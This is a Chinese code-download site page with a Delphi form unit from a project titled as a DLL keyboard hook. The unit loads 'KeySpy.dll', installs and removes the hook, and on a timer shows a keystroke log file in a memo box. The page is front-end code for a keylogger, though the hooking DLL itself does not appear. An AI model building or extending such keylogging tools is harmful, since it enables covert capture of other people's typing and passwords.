⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 unit1.pas

📁 [i]DELPHI打造DLL键盘钩子[/i]
💻 PAS
字号:
//调用部分 
unit unit1; 
interface 
uses 
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, 
  Dialogs, ExtCtrls, StdCtrls; 
type 
  TForm1 = class(TForm) 
    Memo1: TMemo; 
    Button1: TButton; 
    Button2: TButton; 
    Timer1: TTimer; 
    procedure Button1Click(Sender: TObject); 
    procedure Timer1Timer(Sender: TObject); 
    procedure Button2Click(Sender: TObject); 
  private 
    { Private declarations } 
  public 
    { Public declarations } 
  end; 
var 
  Form1: TForm1; 
implementation 
{$R *.dfm} 
function setkeyhook:boolean;stdcall; external 'C:\Documents and Settings\Administrator\桌面\新建文件夹 (2)\KeySpy.dll'; 
function endkeyhook:boolean;stdcall; external 'C:\Documents and Settings\Administrator\桌面\新建文件夹 (2)\KeySpy.dll';
//这里一定要注意了,KeySpy.dll文件的路径一定要写正确,否则会出错的.

procedure TForm1.Button1Click(Sender: TObject); 
begin 
if setkeyhook then 
  begin 
    showmessage('钩子安装成功!'); 
    Timer1.Enabled:=true; 
  end; 
end;
procedure TForm1.Timer1Timer(Sender: TObject); 
begin 
  try
    memo1.Lines.LoadFromFile('c:\logfile.txt'); 
  except 
    exit; 
  end; 
end; 
procedure TForm1.Button2Click(Sender: TObject); 
begin 
if EndkeyHook then 
  begin 
    showmessage('钩子已经卸载!'); 
    Timer1.Enabled:=false; 
  end; 

end; 
end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -